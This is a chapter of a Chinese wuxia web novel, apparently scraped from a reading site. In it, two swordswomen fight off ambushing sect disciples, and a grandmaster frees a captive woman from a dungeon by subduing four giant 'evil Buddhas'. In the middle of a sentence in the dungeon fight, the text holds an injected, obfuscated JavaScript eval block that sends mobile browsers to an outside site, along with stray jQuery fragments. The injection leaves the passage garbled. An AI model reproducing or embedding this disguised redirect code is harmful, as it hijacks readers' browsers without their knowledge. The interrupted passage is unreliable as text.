61. 恶因皆诛

作品:《烈酒烧喉

    月亮已经早早地挂在天空上,像个圆润的玉盘。今夜的乌云很是给面子,也知趣地团抱月亮,将它一半的光华掩盖了起来。


    玉京城以北的羊肠小道出现了两抹黑色的身影,细看才发现原来是两个黑衣人骑着两匹血汗宝马疾行。


    “驾!”


    马蹄踏碎了石子,扬起了拖尾的沙石。


    “我们下一站去哪里?”白镜华问。


    “下一站去安玉门,你来这边经过的驿站我们都走一遍。”蒋酒卿在风中答她。


    “岂不是很明显?!他们可以堵我们!”白镜华不解。


    “因为每个驿站都有薛停云的眼线,她可以为我们提供服务,而乌兰……乌兰经手的生意一直往北做,所以我们的钱财不会断。”蒋酒卿解释道,“你说的我都明白,但是我们需要休息,要是我们一路睡在野外,身子扛不住。”


    “你的后手准备得真的妥当,她连衣服都给我们设计好。”白镜华哭笑不得。


    “她准备的衣服,一定是适合我们干架的。她说当年要是不学武,是要给江湖中人设计衣服的。呵呵……”她边甩马鞭边说。


    “你的小桃子呢?安排去哪了?”白镜华问。


    “吁——!他们来了。”蒋酒卿勒住缰绳,仔细观察附近情况。


    “你听见马蹄声了是吧?”白镜华道。


    “就在前方。”蒋酒卿凝视着前方,把所有注意力都压在正前方。


    “他们不在正前方。”白镜华道,“山谷太静了,不应该是正常夜里山谷的样子,正面冲击我们没必要。他们一定都潜伏在上面。”


    蒋酒卿知趣地乐了,坦言:“你确实有经验,后面的路,还得靠你。”


    白镜华突然放声冷笑:“出来吧!都是雪山的弟子,何必用这龌龊手段!”


    山谷两边纷纷跃下了几个黑衣人,他们手握长剑,个个身上都散发着逼人的寒气。显然,他们的功法与白镜华并无二致。


    “师姐——”为首的人露出狡黠的面容,阴冷地问候,“好久不见。没想到你身边多了个帮手,不过她不也家破人亡了么?你投靠也不找个好的投靠。”


    “关你屁事!从前就看你不正常,没想到你真干了不少龌龊事!”白镜华斥骂道。


    “我所做的一切,都是为了苍山派,为了我们能在战争的洪流之中存活。而你,固执己见的守旧派根本不懂!”为首之人自诩正派、嚣张跋扈地嘲讽。


    “太多废话了,直接开干吧。我初入江湖,力道把握得不是挺好,有时候下手会太重——我提前知会你了啊。”蒋酒卿道。


    “无妨,我也讨厌他们!”白镜华话音刚落,一道刺眼的寒光就从剑鞘而出,划破这黑夜的寂静。


    紧接而来的是一道烈焰般的刀光,灼烧着空气。


    山谷里,刀光与剑影相辉,阵阵龙吟刺破长空的寂静。白镜华如游龙一般将数十个黑衣人逼停谷底,蒋酒卿配合地从后背抽出细长的刀朝他们狂舞。


    “无痕”的剑尖仍在滴血,白镜华呆若木鸡地看着躺下的人,迟迟没上马。


    而蒋酒卿也坐在一旁的石头上擦拭她的刀身。


    彻夜,她们都没有赶路。


    ……


    昏暗无光、潮湿阴冷,这是他进入这里的第一个感觉。


    蒋柳先的地牢,即便再守卫森严,也被贺谏山混了进来。他穿过多条蜿蜒的羊肠小道,最后拐进了一个偌大的大厅。


    幸好,大厅开了天窗,吝啬的天光穿过冰冷的铁栏杆,恩赐给牢笼里的人。在天窗之下,甚至能看见白色的尘埃飞舞,好像在为这里将要发生的事情上演一场悲哀的舞蹈一样。


    光打在了脸色惨白的人身上——温纭白色的衣裳已经被地牢弄得脏兮兮,可幸的是她没有受到非人的虐待。但绑着她的铁链足足有六条,都是玄铁所制,武功在一流之下的人都不可能将铁链打断,更别说温纭的武学只能入三流。


    贺谏山知道这是瓮中捉鳖,踏进这里的时候,他就察觉到暗处一定还有别人的气息。而且,气息不善。


    “温芸,你怎么样了?”贺谏山站在中央,声音里带着对温纭以外的其他人的威吓。


    “我还好……”温纭气息微弱地说着,“他们没有对我做什么……只是饿了几天……蒋以北和烛龙军不能没有我……你……”


    “那就好,等我把看守的人都杀了,就送你过去。”贺谏山言简意赅。


    “咚!!!”


    “咚!!!”


    “咚!!!”


    黑暗里有什么东西迈着沉重而恐怖的步伐朝监狱的中央走来——像是什么石巨人,如果不是,那就一定是面目狰狞的恶佛雕像。


    贺谏山缓慢地站起身,抬眼就望见那熟悉的“故人”踏着沉重的步伐朝他气势逼人地走来。


    “你们让我等了好久了。”贺谏山没什么好脸色,语气里似乎还带着点不耐烦。


    ——猜对了,不过不是雕像,而是人!


    四大恶佛分别穿着红、黄、蓝、青四种颜色的衣服,他们袒胸露乳,手持四大武器——巨斧、天琴、琵琶、轮伞!


    他们配有“佛”的称号,实际上却个个凶神恶煞,身形硕大肥胖。他们的眼睛凸出,几乎时间一切事物都骗不了他们的“法眼”。而他们的手臂,粗如树干,手掌则大如磨盘,似乎有着翻手为云覆手为雨的能力。


    “该说就等的,是我们!不是你!”


    他们声如洪钟,给人以泰山压顶之威!


    可惜,十大恶佛本就是贺谏山门下悍将,见了他,漫天诸佛的通天本领都无法施展。


    “一起来吧,太久没收拾你们了,恐怕你们都认不出我了。”贺谏山不屑地瞟了他们一眼,给予他们算高的礼遇,起码报以一声冷笑。


    四恶佛挥起大手就往中间抓,贺谏山转体侧步灵活地躲开了他们的攻击,四双大手砸在地上时,简直有地崩山摧之势。


    朱红色的恶佛发怒,排山倒海似地横扫过去。


    贺谏山懒得跟他们废话,只见他一掌拍向他横扫而来的手臂,那树干粗的手臂“咔擦”地应声而断。朱佛吃痛地怒吼,一个踉跄后,却又稳住了身形。


    但贺谏山没给他机会,他化指


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296308|179369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为刃,力劈华山般削在了朱佛的肩膀上。“嘣!”的一声,朱佛重重的跪下地上。他扶着断裂的手臂,惊恐地看向贺谏山。仅仅是看了一眼,就已经汗流浃背了。


    他认出来了,这是宗师。


    “我就让你清醒清醒!”语罢,贺谏山一脚飞踢踢在朱佛的下颚,直接让他仰翻而下。


    朱佛好像感受到膝盖骨被劈了一道雷电般痛苦,原来是膝盖也因此断裂了。


    “别打……他是……”可惜其他人根本没听他讲完。


    青恶佛见状连琵琶都不弹了,直接高举琵琶往下砸!


    贺谏山索性不躲了,他一跃而起将琵琶抢走,随后才上他的胸膛如蜻蜓点水般往后退开两尺,抬手拂弦。


    “铮——!”的一声,内力随着琵琶声而行,就像几条刀线一样刺伤了青佛的眼睛。


    “啊!!!”他厚大的双手捂着双眼,像无头苍蝇一样乱撞,直直撞到了旁边还在站立的两个人。


    “你怎么会……你怎么会弹?!你是谁?!”在地上打滚的青佛难以置信地大叫着。


    手拿天琴的人眼看就要踉跄地向温纭倒过去,幸好贺谏山眼疾手快地一掌拍在他的脊梁骨上,令他面朝地的重重摔下。


    另外一位也不怎么体面,他还想强撑着旋开轮伞重创贺谏山。


    “就你最忤逆!”贺谏山带着少许恼怒向上踢飞伞柄,直至轮伞闯开了天窗才罢休。


    他还想负隅顽抗,但贺谏山不再有耐心。


    贺谏山显然是更加恼火了,他一把抓住残余孽党的脖子,狠狠地往下砸去,砸到地面开裂,砸到这人不再能起来!


    “服不服?!”贺谏山头一回露出如此狠厉的眼神,死死地压制着四大恶佛。


    “够清醒了没有?!”他坐在一个人的后背上,带着威胁的语气警告他们。


    这一刻,他好像归来的狼一样,在阴森的地牢里,成为了最恐怖的猎狼,是咬死了猎物就不再松嘴的那种角色。


    除了被坐着的那尊,其余三位都鳞次栉比地排列好,跪倒在地,齐声道:“小弟有眼无珠,不识宗师……”


    贺谏山在这一刻似乎真动了杀机,他睥睨着说话的人,问:“是真不识,还是不想认?!”


    他们后背噤若寒蝉,后背全是冷汗。最后,为首的朱佛才颤颤巍巍地宣誓忠心:“我们兄弟四人受人蒙蔽,犯下大错。望宗师饶我等性命!吾等皆听调令!”


    他们匍匐在地,浑厚的声音不显一点威严,只显弱懦之音。偌大的身躯与胆小如鼠的姿态,竟可以在同一人身上存在。


    “把其余恶佛找出来,听我调令。”贺谏山的意思已经很明白了,诸佛破开天窗离去,那地牢里的白色尘埃与灰色碎石共舞,绘了一副疮痍画卷。


    贺谏山走向温纭,劈开黑色的锁链。


    她的眼眸里充满了疲倦,还有一点辛苦,无力地说道:“原来宗师的手段,是这样的……”


    贺谏山将她背起,道:“你撑住,我一定会把你送回安全的地方。”


    温纭虚弱道:“是军营,他们……他们需要我!”